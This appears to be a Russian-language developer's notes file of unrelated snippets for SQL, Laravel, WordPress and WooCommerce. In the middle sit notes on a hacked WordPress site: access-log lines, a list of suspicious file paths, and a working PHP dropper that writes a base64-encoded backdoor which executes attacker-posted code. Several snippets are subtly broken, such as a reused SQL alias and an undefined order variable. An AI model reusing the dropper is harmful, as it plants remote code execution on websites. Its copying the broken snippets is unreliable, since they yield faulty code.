SELECT p.id, p.data, u.id as user_id, SUM(su.status) as sum_status
FROM `posts` as p
LEFT JOIN projects as p ON p.id = p.project_id
LEFT JOIN users as u ON u.id = p.user_id
LEFT JOIN service_user as su ON su.user_id = u.id
GROUP BY su.user_id, p.id, p.data
$posts = DB::table('posts')
->leftJoin('projects', 'posts.project_id', '=', 'projects.id')
->leftJoin('users', 'projects.user_id', '=', 'users.id')
->leftJoin('service_user', 'users.id', '=', 'service_user.user_id')
->leftJoin('services', 'service_user.service_id', '=', 'services.id')
->groupBy('service_user.user_id', 'posts.id', 'posts.data')
->select('posts.id', 'posts.data', 'service_user.user_id', DB::raw("SUM(service_user.status) as sum_status") )
->paginate(50);
mix.setResourceRoot('/site')
mix.setPublicPath('public/site')
mix.webpackConfig(webpack => {
return {
output: {
publicPath: '/site/'
},
})
/* webpack/runtime/publicPath */
/******/ (() => {
/******/ __webpack_require__.p = "/site/";
/******/ })();
<a href="tel:$txtphone">$txtphone</a>
add_shortcode('custom_gallery', 'custom_gallery_func');
function custom_gallery_func( $atts ) {
extract( shortcode_atts( array(
'count' => '' // параметры, если нужны
), $atts ) );
// ваш код галереи, подключение внешнего файла
// можно использовать буфер ob_start(); а затем возвращать $content = ob_get_clean();
}
<?php echo do_shortcode( '[custom_gallery]' );
[ERROR] mysqld: Table './br_db/br_usermeta' is marked as crashed and should be repaired
The storage engine for the table doesn't support repair
CREATE TABLE br_options2 LIKE br_options;
INSERT INTO br_options2 SELECT * FROM br_options;
DROP TABLE br_options;
RENAME TABLE br_options2 TO br_options;
add_action( 'woocommerce_after_order_notes', 'my_custom_checkout_field' );
function my_custom_checkout_field( $checkout ) {
echo '<div class="form-row notes"><br><label>Дата и время получения заказа</label>';
woocommerce_form_field( 'client_date', array(
'type' => 'text',
'class' => array('form-row-first'),
'label' => __(''),
'placeholder' => _x('Дата', 'placeholder', 'woocommerce'),
), $checkout->get_value( 'client_date' ));
woocommerce_form_field( 'client_time', array(
'type' => 'text',
'class' => array('form-row-last'),
'label' => __(''),
'placeholder' => _x('Время', 'placeholder', 'woocommerce'),
), $checkout->get_value( 'client_time' ));
echo '</div>';
echo '<div class="form-row notes br-notes-1"><label>Время заказа определяется после звонка оператора.</label></div>';
}
/**
* Обновляем добавленные поля в БД
*/
add_action( 'woocommerce_checkout_update_order_meta', 'my_custom_checkout_field_update_order_meta' );
function my_custom_checkout_field_update_order_meta( $order_id ) {
if ( ! empty( $_POST['client_date'] ) ) {
update_post_meta( $order_id, 'client_date', sanitize_text_field( $_POST['client_date'] ) );
}
}
add_action( 'woocommerce_admin_order_data_after_billing_address', 'my_custom_checkout_field_display_admin_order_meta', 10, 1 );
function my_custom_checkout_field_display_admin_order_meta($order){
echo '<p><strong>'.__('Дата и время').':</strong> ' . get_post_meta( $order->get_id(), 'client_date', true ) . ' ' .get_post_meta( $order->get_id(), 'client_time', true ) . '</p>';
}
/* Отправка добавленных полей на email
*/
add_filter('woocommerce_email_order_meta_fields', 'br_add_email_order_meta_fields', 10, 3);
function br_add_email_order_meta_fields( $fields, $sent_to_admin, $order_obj ) {
$fields['client_date'] = array(
'label' => 'Дата и время',
'value' => get_post_meta( $order_num, 'client_date', true ) . ' ' . get_post_meta( $order_num, 'client_time', true )
);
}
add_action( 'wp_footer', 'awoohc_add_script_update_shipping_method' );
function awoohc_add_script_update_shipping_method() {
if ( is_checkout() ) { ?>
<script>
jQuery(document).ready(function ($) {
if( $("#client_date").length > 0 ) {
let optsDate = {
"locale": "ru",
"dateFormat": "d.m.Y",
};
$("#client_date").flatpickr(optsDate);
}
if( $("#client_time").length > 0 ) {
let optsTime = {
locale: "ru",
enableTime: true,
noCalendar: true,
dateFormat: "H:i",
time_24hr: true
};
$("#client_time").flatpickr(optsTime);
}
});
</script>
<?php }
}
51.38.106.48 - - [02/Nov/2020:19:55:53 +0000] "POST /wp-content/uploads/elementor/custom-icons/-1/css/ HTTP/1.0" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:55 +0000] "POST /wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:58 +0000] "POST /wp-content/uploads/wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);
make_wpupload_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads');
function make_wpupload_file($dir) {
$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
if(!file_exists($dir.'/wp-stream.php')){
@file_put_contents($dir.'/wp-stream.php',$b);
@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/wp-stream.php',$b);
}
}
unlink(__FILE__);
/wp-content/plugins/widget-settings-importexport/widget-data.js
/wp-content/plugins/letme/weblinks.php
/wp-content/plugins/background-image-cropper/ups.php.suspected
/wp-content/uploads/2020/10/content-post.php
/wp-content/wp-muen.php
/wp-content/uploads/2020/04/blackhat.php
/wp-content/plugins/wp-members/assets/js/wpmem-nav-menu.min.js
/wp-content/plugins/superstorefinder-wp/css/ssf-wp-admin.css
/my-accountsuc_reg
/my-accountcanreg
/wp-content/themes/CP20/content-post.php.suspected
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
/wp-content/uploads/wp-stream.php
/wp-admin/theme-install.php
/xmlrpc.php
/installer.php
/wp-content/themes/distance-lite/languages/namespaces.php
<?php echo '<option value="Berlin">Берлин</option>'; ?>
<ul class="list-1">
<li>Первый элемент</li>
<li class="list-item">Второй элемент</li>
...
</ul>
<style>
.list-1 {
общий стиль;
}
.list-1 li.list-item {
другой стиль пункта;
}
</style>
// отправляем данные из cf7 куда-то
add_action( 'wpcf7_mail_sent', 'br_wpcf7_mail_sent', 10, 1 );
function br_wpcf7_mail_sent( $contact_form ) {
$submission = WPCF7_Submission::get_instance();
$posted_data = $submission->get_posted_data();
// Данные из формы можно получить так:
$posted_data['your-phone']
$posted_data['your-name']
// и передать их в ваш скрипт
}